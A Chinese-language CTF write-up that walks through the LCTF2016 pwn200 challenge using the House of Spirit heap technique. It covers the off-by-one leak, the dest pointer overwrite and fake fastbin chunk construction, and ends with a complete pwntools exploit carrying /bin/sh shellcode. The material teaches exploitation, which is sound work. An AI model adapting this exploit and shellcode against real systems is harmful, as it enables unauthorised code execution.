[HOS]LCTF2016-pwn200

0x00 前言

  • 本文是对CTF-WIKIHouse Of Spirit的一道例题的解析,这道题费了不小功夫,也算是弄明白了。
  • 参考链接:

安全客

官方WP

CTF-WIKI

0x01 温习

什么是House of Spirit

House of Spirit 是 the Malloc Maleficarum 中的一种技术。

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

利用场景

(1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下。

(2)存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域

利用思路

(1)伪造堆块

hos的主要意图就是在可控1及可控2构造好数据,将它伪造成一个fastbin。

(2)覆盖堆指针指向上一步伪造的堆块。

(3)释放堆块,将伪造的堆块释放入fastbin的单链表里面。

(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。

0x02 分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

主要保护都关了,可以执行shellcode。

漏洞点1

sub_400A8E函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_400A8E()
{
signed __int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h]

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
MyRead();
return sub_400A29();
}

存在off-by-one漏洞。当输入48个字符的时候,会连带着将RBP里的值打印出来。这是因为read函数读取字符串的时候不会在末尾加上\x00

漏洞点2

sub_400A29函数

1
2
3
4
5
6
7
8
9
10
11
12
int sub_400A29()
{
char buf; // [rsp+0h] [rbp-40h]
char *dest; // [rsp+38h] [rbp-8h]

dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, &buf, 0x40uLL);
strcpy(dest, &buf);
ptr = dest;
return sub_4009C4();
}

由于buf的大小只有 0x40-0x8 = 0x38,但是却读入了0x40字节,会覆盖掉dest的指针,而dest是一个堆指针,这样就满足了HOS利用条件之一存在可将堆变量指针覆盖指向为可控区域

小细节

漏洞2满足了HOS利用条件之一,实际上另一个利用条件在sub_400A8E函数输入ID的地方也得到了满足,只是由于IDA反编译的一些问题,没有显示出来,但是从汇编界面看的话

能够看到程序将rax(里面存放的Myread函数的返回值,也就是咱们输入的ID)里的值存放到了rbp-0x38的位置。

  • 每个栈帧的大小可以通过IDA查看,例如下图就是sub_400A8E函数的栈帧,也能看出来它栈帧大小是0x50

从整个程序的栈结构来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+------------+-----                                  -
| ... | money(0x38) 实际读入0x40,能覆盖dest ↑
+------------+ sub_400A29栈帧(0x40)
| dest | ↓
+------------+----- -
| rbp |
+------------+
| rip |
+------------+----- -
| ... |这里占0x18,是别的东西↑
+------------+ |
| ID | sub_400A8E栈帧(0x50)
+------------+ |
| ... | name(0x30) ↓
+------------+----- -
| rbp | #这个rbp存的值实际上就是下面的rbp_addr,也就是main函数的栈底
+------------+
| rip |
+------------+-----
| ... | main栈帧(0x10)
+------------+<----rbp_addr

也就是形成了这种格局。

其他功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int sub_4009C4()
{
int v0; // eax

while ( 1 )
{
while ( 1 )
{
menu();
v0 = MyRead();
if ( v0 != 2 )
break;
checkout();
}
if ( v0 == 3 )
break;
if ( v0 == 1 )
checkin();
else
puts("invalid choice");
}
return puts("good bye~");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int checkin()
{
size_t nbytes; // [rsp+Ch] [rbp-4h]

if ( ptr )
return puts("already check in");
puts("how long?");
LODWORD(nbytes) = MyRead();
if ( (signed int)nbytes <= 0 || (signed int)nbytes > 128 )
return puts("invalid length");
ptr = malloc((signed int)nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
void checkout()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}
  • 程序依然提供checkin、checkout、exit函数。

思路

  1. 将shellcode.ljust(48,’a’)输入到name中,通过off-by-one漏洞打印出来main函数栈底,通过上面结构图能够算出shellcode的地址,选取一个处在money中的位置作为fake_chunk

  2. 在money中伪造堆块size,在id里面输入的是下一个堆块的size(大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem),同时通过堆溢出漏洞覆盖掉dest

  3. free掉刚才伪造的堆块,使其进入fastbin

  4. 申请堆块,申请出来以后还是在老位置。

  5. 输入数据到刚申请的堆块中,覆盖掉rip,让其指向shellcode,完成劫持,执行shellcode。

0x03 Let’s do it!

shellcode可以选用现成的,也可以通过pwntools的shellcraft生成。

1
2
3
4
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

泄露rbp 并选择合适的fakechunk地址

1
2
3
4
5
6
7
8
9
payload = shellcode.ljust(46, 'a')
payload += 'bb'
c.send(payload)
c.recvuntil('bb')
rbp_addr = c.recvuntil(', w')[:-3]
rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
log.success('rbp_addr = ' + hex(rbp_addr))
fake_addr = rbp_addr - 0x90
shellcode_addr = rbp_addr - 0x50
  • 注意这里shellcode的地址,可以根据前面的栈结构图来求得,0x50 = 0x30(name) + 0x8(rbp) + 0x8(rip) + 0x10(main栈帧)

伪造下一个堆块的size

1
2
c.recvuntil('id ~~?')
c.sendline('48')

这个size没有太严格要求,只需要大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

在money中伪造堆块并覆盖dest

1
2
3
4
c.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
c.send(payload)
  • 这里前面用p64(0)有好处,就是能够使sub_400A29中的strcpy(dest, &buf);不起作用。
  • 这么构造也能和前面我们所选取的fakechunk的地址fake_addr相呼应。具体可以gdb调试一下就能看出来了。
  • 这里选取p64(0x41)是因为这样能够使ID正好相当于我们伪造chunk的nextchunk的size,具体可以画画图或者调试一下就可以了。

free然后重新申请,并劫持程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#free
c.recvuntil('choice : ')
c.sendline('2')

#malloc
c.recvuntil('choice : ')
c.sendline('1')
c.recvuntil('long?')
c.sendline('48') # 0x30 because fakechunk's size = 0x41
c.recvuntil('\n48\n')

# overwrite rip
payload = 'a' * 0x18 + p64(shellcode_addr)
payload = payload.ljust(48, '\x00')
c.send(payload)

# getshell by exit
c.recvuntil('choice : ')
c.sendline('3')

c.interactive()
  • 需要注意的几个点都加了注释了。

由于我们的栈结构在这几步时大概是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
+------------+-----                低地址
这边还有checkin、checkout之类的栈帧
+------------+-----
| rbp |
+------------+
| rip |
+------------+-----
sub_4009C4栈帧(0x10)
+------------+-----
| rbp |
+------------+
| rip |
+------------+-----
sub_400A29栈帧(0x40)
+------------+-----
| rbp |
+------------+
| rip | <- 我们劫持的是这个rip
+------------+-----
sub_400A8E栈帧(0x50)
+------------+-----
| rbp |
+------------+
| rip |
+------------+-----
main栈帧(0x10)
+------------+<----rbp_addr 高地址

当我们执行exit以后,栈帧还原,按照地址从低往高的顺序执行rip,当执行到被我们劫持,也就是被我们改成shellcode地址的rip的时候,就能执行shellcode从而getshell了~

0x04 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *


c = process("./pwn200")

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = shellcode.ljust(46, 'a')
payload += 'bb'
c.send(payload)
c.recvuntil('bb')
rbp_addr = c.recvuntil(', w')[:-3]
rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
log.success('rbp_addr = ' + hex(rbp_addr))
fake_addr = rbp_addr - 0x90
shellcode_addr = rbp_addr - 0x50



c.recvuntil('id ~~?')
c.sendline('48')


c.recvuntil('money~')
payload = p64(0) * 5 + p64(0x41)
payload = payload.ljust(0x38, '\x00') + p64(fake_addr)
c.send(payload)


#free
c.recvuntil('choice : ')
c.sendline('2')

#malloc
c.recvuntil('choice : ')
c.sendline('1')
c.recvuntil('long?')
c.sendline('48') # 0x30 because fakechunk's size = 0x41
c.recvuntil('\n48\n')

# overwrite rip
payload = 'a' * 0x18 + p64(shellcode_addr)
payload = payload.ljust(48, '\x00')
c.send(payload)

# getshell by exit
c.recvuntil('choice : ')
c.sendline('3')

c.interactive()